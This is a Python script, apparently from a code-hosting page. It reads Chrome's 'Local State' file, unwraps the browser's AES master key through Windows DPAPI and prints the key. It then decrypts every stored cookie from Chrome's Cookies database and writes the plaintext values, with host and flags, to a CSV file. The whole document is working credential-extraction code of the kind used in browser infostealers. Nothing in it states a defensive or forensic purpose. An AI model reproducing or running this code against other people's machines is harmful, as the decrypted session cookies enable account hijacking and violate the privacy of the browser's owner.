81 lines
2.4 KiB
Python
81 lines
2.4 KiB
Python
import os
|
|
import json
|
|
import base64
|
|
import sqlite3
|
|
import win32crypt
|
|
from Cryptodome.Cipher import AES
|
|
from pathlib import Path
|
|
import csv
|
|
|
|
def get_master_key():
|
|
with open(
|
|
os.getenv("localappdata") + "\\Google\\Chrome\\User Data\\Local State", "r"
|
|
) as f:
|
|
local_state = f.read()
|
|
local_state = json.loads(local_state)
|
|
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
|
|
master_key = master_key[5:] # removing DPAPI
|
|
master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
|
|
print("MASTER KEY :")
|
|
print(master_key)
|
|
print(len(master_key))
|
|
return master_key
|
|
|
|
|
|
def decrypt_payload(cipher, payload):
|
|
return cipher.decrypt(payload)
|
|
|
|
|
|
def generate_cipher(aes_key, iv):
|
|
return AES.new(aes_key, AES.MODE_GCM, iv)
|
|
|
|
|
|
def decrypt_password(buff, master_key):
|
|
try:
|
|
iv = buff[3:15]
|
|
payload = buff[15:]
|
|
cipher = generate_cipher(master_key, iv)
|
|
decrypted_pass = decrypt_payload(cipher, payload)
|
|
decrypted_pass = decrypted_pass[:-16].decode() # remove suffix bytes
|
|
return decrypted_pass
|
|
except Exception:
|
|
# print("Probably saved password from Chrome version older than v80\n")
|
|
# print(str(e))
|
|
return "Chrome < 80"
|
|
|
|
|
|
master_key = get_master_key()
|
|
|
|
cookies_path = Path(
|
|
os.getenv("localappdata") + "\\Google\\Chrome\\User Data\\Default\\Network\\Cookies"
|
|
)
|
|
|
|
if not cookies_path.exists():
|
|
raise ValueError("Cookies file not found")
|
|
|
|
with sqlite3.connect(cookies_path) as connection:
|
|
connection.row_factory = sqlite3.Row
|
|
cursor = connection.cursor()
|
|
cursor.execute("SELECT * FROM cookies")
|
|
|
|
with open('cookies.csv', 'a', newline='') as csvfile:
|
|
fieldnames = ['host_key', 'name', 'value', 'path', 'expires_utc', 'is_secure', 'is_httponly']
|
|
writer = csv.DictWriter(csvfile, fieldnames=fieldnames)
|
|
|
|
if csvfile.tell() == 0:
|
|
writer.writeheader()
|
|
|
|
for row in cursor.fetchall():
|
|
decrypted_value = decrypt_password(row["encrypted_value"], master_key)
|
|
writer.writerow({
|
|
'host_key': row["host_key"],
|
|
'name': row["name"],
|
|
'value': decrypted_value,
|
|
'path': row["path"],
|
|
'expires_utc': row["expires_utc"],
|
|
'is_secure': row["is_secure"],
|
|
'is_httponly': row["is_httponly"]
|
|
})
|
|
|
|
print("Finished CSV")
|